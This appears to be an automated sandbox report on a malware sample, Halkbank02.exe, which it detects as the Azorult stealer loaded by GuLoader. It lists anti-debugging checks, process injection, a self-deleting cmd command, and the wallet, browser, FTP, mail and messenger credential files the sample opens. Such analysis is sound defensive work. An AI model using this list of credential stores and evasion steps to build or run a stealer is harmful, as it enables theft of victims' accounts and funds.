Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A41F0 mov eax, dword ptr fs:[00000030h] 1_2_022A41F0
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\Halkbank02.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\Halkbank02.exe Process queried: DebugPort Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\Desktop\Halkbank02.exe Code function: 1_2_022A7382 LdrInitializeThunk, 1_2_022A7382

HIPS / PFW / Operating System Protection Evasion:

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Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\Halkbank02.exe Process created: C:\Users\user\Desktop\Halkbank02.exe 'C:\Users\user\Desktop\Halkbank02.exe' Jump to behavior
Source: C:\Users\user\Desktop\Halkbank02.exe Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\system32\cmd.exe' /c C:\Windows\system32\timeout.exe 3 & del 'Halkbank02.exe' Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\timeout.exe C:\Windows\system32\timeout.exe 3 Jump to behavior

Language, Device and Operating System Detection:

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Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\SysWOW64\cmd.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Queries information about the installed CPU (vendor, model number etc)
Source: C:\Users\user\Desktop\Halkbank02.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Source: C:\Users\user\Desktop\Halkbank02.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information:

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Yara detected Azorult
Source: Yara match File source: 0000001C.00000002.900879617.000000001F410000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000001C.00000002.900905974.000000001F43C000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: Halkbank02.exe PID: 5680, type: MEMORYSTR
GuLoader behavior detected
Source: Initial file Signature Results: GuLoader behavior
Tries to steal Crypto Currency Wallets
Source: C:\Users\user\Desktop\Halkbank02.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\ Jump to behavior
Source: C:\Users\user\Desktop\Halkbank02.exe File opened: C:\Users\user\AppData\Roaming\Jaxx\Local Storage\ Jump to behavior
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Source: C:\Users\user\Desktop\Halkbank02.exe Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions\ Jump to behavior
Tries to harvest and steal ftp login credentials
Source: C:\Users\user\Desktop\Halkbank02.exe File opened: C:\Users\user\AppData\Roaming\filezilla\recentservers.xml Jump to behavior
Tries to harvest and steal Bitcoin Wallet information
Source: C:\Users\user\Desktop\Halkbank02.exe Key opened: HKEY_CURRENT_USER\Software\monero-project\monero-core Jump to behavior
Source: C:\Users\user\Desktop\Halkbank02.exe Key opened: HKEY_CURRENT_USER\Software\Bitcoin\Bitcoin-Qt Jump to behavior
Tries to steal Mail credentials (via file access)
Source: C:\Users\user\Desktop\Halkbank02.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook Jump to behavior
Tries to steal Instant Messenger accounts or passwords
Source: C:\Users\user\Desktop\Halkbank02.exe File opened: C:\Users\user\AppData\Roaming\.purple\accounts.xml Jump to behavior
Source: C:\Users\user\Desktop\Halkbank02.exe File opened: C:\Users\user\AppData\Roaming\.purple\accounts.xml Jump to behavior
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\Desktop\Halkbank02.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Source: C:\Users\user\Desktop\Halkbank02.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies Jump to behavior
Source: C:\Users\user\Desktop\Halkbank02.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Jump to behavior
Source: C:\Users\user\Desktop\Halkbank02.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs